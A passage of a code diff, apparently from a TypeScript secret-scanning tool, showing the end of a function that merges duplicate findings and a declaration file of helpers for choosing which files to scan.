+ if (!fp)
197
+ continue;
198
+ const kind = valueKindForNormalizedAuditValue(canon);
199
+ const prev = map.get(canon);
200
+ if (!prev) {
201
+ const pr = String(u.primary_rule ?? u.rule ?? "").trim();
202
+ const ru = String(u.rule ?? u.primary_rule ?? "").trim();
203
+ map.set(canon, {
204
+ ...u,
205
+ fingerprint: fp,
206
+ value_kind: kind,
207
+ normalized_value: canon,
208
+ primary_rule: pr || ru,
209
+ detection_rules: [...(u.detection_rules ?? [])],
210
+ sources: [...(u.sources ?? []).map((s) => ({ ...s }))],
211
+ rule: ru || pr,
212
+ });
213
+ continue;
214
+ }
215
+ const seen = new Set(prev.sources.map((x) => `${String(x.file)}\0${String(x.offset ?? "")}`));
216
+ for (const s of u.sources ?? []) {
217
+ const t = `${String(s.file)}\0${String(s.offset ?? "")}`;
218
+ if (seen.has(t))
219
+ continue;
220
+ seen.add(t);
221
+ prev.sources.push({ ...s });
222
+ }
223
+ for (const r of u.detection_rules ?? []) {
224
+ if (!prev.detection_rules.includes(r))
225
+ prev.detection_rules.push(r);
226
+ }
227
+ prev.fingerprint = fp;
228
+ prev.value_kind = kind;
229
+ prev.normalized_value = canon;
230
+ }
231
+ return [...map.values()];
232
+ }
@@ -0,0 +1,30 @@
1
+ import type { NormalizedSecretScanConfig } from "./types";
2
+ export declare function normCase(s: string): string;
3
+ export declare function pathMatchesIncludeDirs(relPosix: string, includeDirSuffixes: string[], includeDirPaths: string[]): boolean;
4
+ export declare function fileMatchesPatterns(relPath: string, patterns: string[]): boolean;
5
+ export declare function shouldExcludeDir(name: string, excludeDirs: string[]): boolean;
6
+ /** True when `absPath` equals or descends under any normalized absolute prefix. */
7
+ export declare function isExcludedAbsPathPrefix(absPath: string, prefixes: string[]): boolean;
8
+ /**
9
+ * Skip subtrees under any directory segment named `cfgmgr` (case-insensitive): cfgmgr source trees,
10
+ * `%LOCALAPPDATA%/CfgMgr/data`, `~/.local/share/cfgmgr`, etc.
11
+ */
12
+ export declare function absPathHasCfgmgrSegment(absPath: string): boolean;
13
+ export declare function pathUnderRoot(p: string, root: string): string;
14
+ export declare function isCandidateFile(fullPath: string, root: string, rel: string, cfg: NormalizedSecretScanConfig): boolean;
15
+ export interface CandidateFile {
16
+ absPath: string;
17
+ relPath: string;
18
+ }
19
+ /**
20
+ * Opt-in heavy crawl: walk tree for text-like extensions (`.txt`, `.js`, …).
21
+ * Default scans use filename/dir candidates only — enable via `includeTextLikeExtensions`.
22
+ */
23
+ export declare function walkTextLikeExtensionCandidates(rootDir: string, cfg: NormalizedSecretScanConfig, maxFiles: number): CandidateFile[];
24
+ export declare function walkCandidateFiles(rootDir: string, cfg: NormalizedSecretScanConfig): {
25
+ candidates: CandidateFile[];
26
+ skipLargeLog: Array<{
27
+ file: string;
28
+ size_bytes: number;
29
+ }>;
30
+ };